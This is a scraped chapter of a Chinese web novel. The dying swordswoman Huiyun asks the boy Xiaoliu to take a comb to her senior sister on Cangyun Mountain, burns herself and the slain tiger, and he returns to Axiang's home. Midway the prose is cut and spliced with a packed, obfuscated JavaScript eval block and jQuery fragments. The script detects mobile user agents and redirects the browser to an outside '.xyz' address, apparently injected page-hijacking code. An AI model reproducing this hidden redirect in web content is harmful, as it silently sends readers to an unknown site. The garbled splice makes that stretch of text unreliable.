经历了连番的惊心动魄,导致小六摸黑捡柴时整个人稳如老狗,甚至在火堆重新燃起后,还萌生出了烤一只虎掌来吃的念头。
咳嗽声打断了他的遐想,慧云醒了过来,小六欣然道:“大婶,你好点了吗?等天亮了我就下山去找人来救你!”
慧云挣扎着似乎想坐起,可是稍动就会有大股的乌血从嘴角涌出来。
小六见状只好扶她倚靠着树干坐起,她的伤口处其实已经不怎么流血了,那血像是都跑到了喉咙里,坐着倒比躺着要强上些许。
“你……怎会……来这里?”慧云艰难地蠕动着双唇,好半天才挤出来一句完整的话。
“采药啊。”小六指了指竹篓,眨巴着眼睛补充道:“我没骗你,我真有个病重的阿爹。”
老丈人也算半个亲爹了,他这句话可不算说谎。
慧云目光沉沉地看着他:“你阿爹……是什么人?
“镇上卖糖葫芦的秦三啊。大婶,你以前没来过长宁吧?我秦阿爹做的糖葫芦可好吃了。”小六咂巴着嘴,似乎在怀念那甜美的味道:“只可惜他现在生了很严重的病,郎中都说治不好了,可不治能怎么办呢?他是个好人啊,贼老天真是一点都不开眼!”
“那你……为何不下山?”慧云说。
“我要下山的啊。”小六哭丧着脸:“都怪那块倒霉的石头,害得我摔了一跤从山上掉下来,还好我命大,要不然就得像你这样了。”
“像我这样……”慧云扯动嘴角,露出一个古怪的表情道:“等天亮……你就下山,休要……再回来。”
“不行,你是我的救命恩人,我不能丢下你。”小六飞快地瞟了一眼慧云,谄媚道:“大婶,等下山后你就去我那儿养伤吧,我照顾你,还让阿香姐给你做糖葫芦吃,我阿香姐可手巧了,她做的糖葫芦和野菜窝窝都很好吃,保管你吃过之后,心情好,这伤也好得快。”
慧云没有说话,只是定定地看着他。
小六挠了挠头,终于讪讪地说出了心里的小九九:“嘿嘿,那你就教我那个……那个叶子戏法,好不好?你那叶子戏法简直太神了,我要是学会了,以后在长宁镇,看谁还敢欺负我和阿香姐!”
慧云望着眼前兴奋比划的孩子,他看上去很瘦,披散的头发遮住了大半张脏兮兮的小脸,眼睛睁得极大,亮晶晶的,既藏着狡黠,也藏着真诚。
“你……”慧云刚一开口,又被那血水给呛得咳嗽起来。
“大婶,你伤得很重,现在最好少说话。”小六立马殷勤地扯着袖子去给慧云擦拭嘴角溢出来的血污,只要肯教他叶子戏法,别说擦脸了,就是擦鞋底都行啊。
手腕上倏尔一凉,竟是慧云伸手抓住了他的手腕,同样的一只手,却完全不似昨日的白皙与温暖,而像一截即将枯萎的树枝,在寒冬腊月里的冰雪里,透着彻骨的寒意。
那股寒意令得小六心里陡然一紧:“那戏法一看就挺难学的,我这么懒,就算你想教我还未必肯学呢!”
“我……教不了你。”慧云眸光一敛,松开手平静道:“我快要死了。”
“可你刚刚还杀了一头老虎!”小六悻悻道:“不教就不教嘛,大婶,我小六有恩必报,就算你不教,我也一定给你找镇上最好的郎中!”
慧云闭上眼摇了摇头,轻声似呢喃道:“我本就是……将死之人,救你不过顺手为之,你……无须自责。”
说完,又接连吐了好几口血,胸脯剧烈地起伏着,仿佛每说一个字,都在一点一点消耗她所剩无多的生命。
小六如闻惊雷,顿时怔住,过了片刻,方吞下一口唾沫,声音艰涩道:“我……我不自责,我就是想救你,你不用教我,什么都不用教。”
异样的情绪从心底渐渐蔓延开来,仿佛连呼吸都变得沉重,他吸了吸鼻子:“我去找葛郎中,还有谢郎中,赵郎中……我把他们全都请过来救你。”
“没用的。”慧云语气平静:“不关你的事,你切记,下山后……休要再回来,也休要……提及遇到我。”
不关他的事吗?可骗她钱财的是他,舍下她逃命的是他,害得她吐血相救的还是他!
虽然他的道德标准从来都不高,但在这样一个仿佛找不到一丝道德瑕疵的好人面前,尤其这个好人还即将死去,小六突然破天荒的有了一种想坦白相告的冲动:“大婶,对不起,我……我骗了你,那天的镯子,不是裴什么撞坏的,我就是想讹他银子,还有……还有刚才,我丢下你……”
“我知道。”
知道还救?小六怔怔地看着慧云:“你不怕死吗?”
“死有何惧!只是……”慧云凝视着远处,声音里有淡淡的从容,亦有浅浅的遗憾,顿了一会,突然扭过头来看着他,神情略带复杂道:“你……叫什么名字?”
“我叫小六。”他急忙回答。
“小六。”似是酝酿了许久,慧云才缓缓出声道:“或许,你可以帮我……做一件事?”
此时别说一件,就是十件八件,但凡她吩咐,小六恨不能全都答应下来:“你说。”
慧云道:“你帮我……去趟苍云山,找我的师姐……李岚音。”
“苍苍……苍云山在哪儿?”小六听得一愣:“大婶,我长这么大,去得最远的地方也就是偷摸来长麓挖点药草了。”
“罢了。”见他推脱,慧云了然地叹了口气:“你不愿意,就罢了。”
“不是……”那声叹气听得小六心头悠悠一颤,急忙咬牙答应下来道:“好了好了,我答应你,帮你去苍云山找你的师姐!”
慧云遂将目光移至胸前:“那把梳子,你代我……亲手交给她。”
“好。”小六轻车熟路地替她掏出梳子,这才后知后觉,举着小木梳略有几分尴尬。
慧云接着道:“苍云山……此去数千里,路途遥远,你把耳环拿去当了,换些盘缠……路上用。”
原来她真的什么都知道!小六顿感无地自容,可大婶说得没错,前往苍云山需要使银子,数千里……他所处的长宁镇方圆不过二十几里,数千里是个什么概念?绕长宁镇几百圈吗,那他要走到何时去?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414505|184691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
慧云道:“此去定然艰辛,你若反悔,这些只当我赠予你的。”
“不悔不悔!”小六唯恐她又要叹气:“苍云山李岚音嘛,我记下了,那个……我一定亲手把梳子交到她手上!”
“好。”慧云意味深长地看了他一眼,随后叮嘱道:“天快亮了,你收拾好东西,速速下山罢。”
果然,东边的山那头已经露出了一丝鱼肚白,山间的雾气似乎也虚淡了一些。
“我先下山去找郎中来救你,然后再去苍云山。”小六尚怀有一丝希冀,将竹篓背起,待走出数步后,又回头道:“等你好了,说不定可以自己去找你的师姐。”
慧云好似没有听到,只面露微笑,目光穿越过苍山云海,呢喃着唤了声:“师姐……”
随后,她挥了挥手,那满地厚厚的落叶被卷起,如同火星般飞舞,瞬间覆盖在她和老虎的尸身上,转眼间燃烧成一团熊熊烈火。
“大婶……”小六震惊得整个人都僵硬了,过了好一会儿才哽咽出声。
一路恍恍惚惚,出长麓,下西山,来时花了好几个时辰需要走走歇歇的路,返程时仿佛不知疲倦便走完了。
去到下渠巷的时候,阿香正在院里喂鸡,一抬眼看见站在院门外失魂落魄的小六,吃惊之下打翻糠勺,吓得两只老母鸡全都飞上了墙头。
“小六……”阿香几个箭步冲上前来,见他衣服破烂得不成样子,身上更有斑斑血迹,急忙拉进院里询问道:“你怎么了?”
话音刚落,小六的身体一软,便直挺挺地倒了下去。
当他醒来时,已经入夜。屋里点着豆油灯,昏黄的灯光下,桌上摆着一只碗,热气腾腾,散发着诱人的香气。
小六顿时记起,从山上下来,他迷迷糊糊的没回破庙,倒先奔阿香家来了。
那桌上的碗,还在睡梦里他就已经闻出来是炖鸡肉的香味,阿香家里就两只老母鸡,用来下蛋换点米油的,被他一晕,直接糟蹋掉了一只。
不过,这会肚子是真饿了,用前胸贴后背来形容简直都不为过,何况他素来为人也不讲客气,宰都宰了,不吃才矫情。
好一通大快朵颐,喝汤吃肉,那种身上肚里俱是热乎乎的感觉,使人又好像重新活过来了一般。
这是阿香睡觉的里屋,她不在,应该就在外间老爹的屋子里。
小六推开门出去,看到阿香就着灶前的火光在缝补一件衣裳,热得额头上尽是细细密密的汗珠。
“你醒了,等我一会。”阿香笑意盈盈,见他无碍了显然十分欣慰。
小六返身去把豆油灯拿了出来,阿香这才灭了那灶火,坐到桌前来继续缝补,忙得仿佛连抬头说句话的工夫都没有。
半晌,方大功告成地欢喜道:“好了,给你的,换下来。”
眼下小六穿的并不是自己上山时的衣衫,而是一套女衣,想来是阿香在他昏迷之际更换的,就连那些擦伤淤青也都细心地敷了药。
阿香抿嘴笑道:“别难为情了,拿去换吧,我阿爹旧衣改的,你别嫌弃。”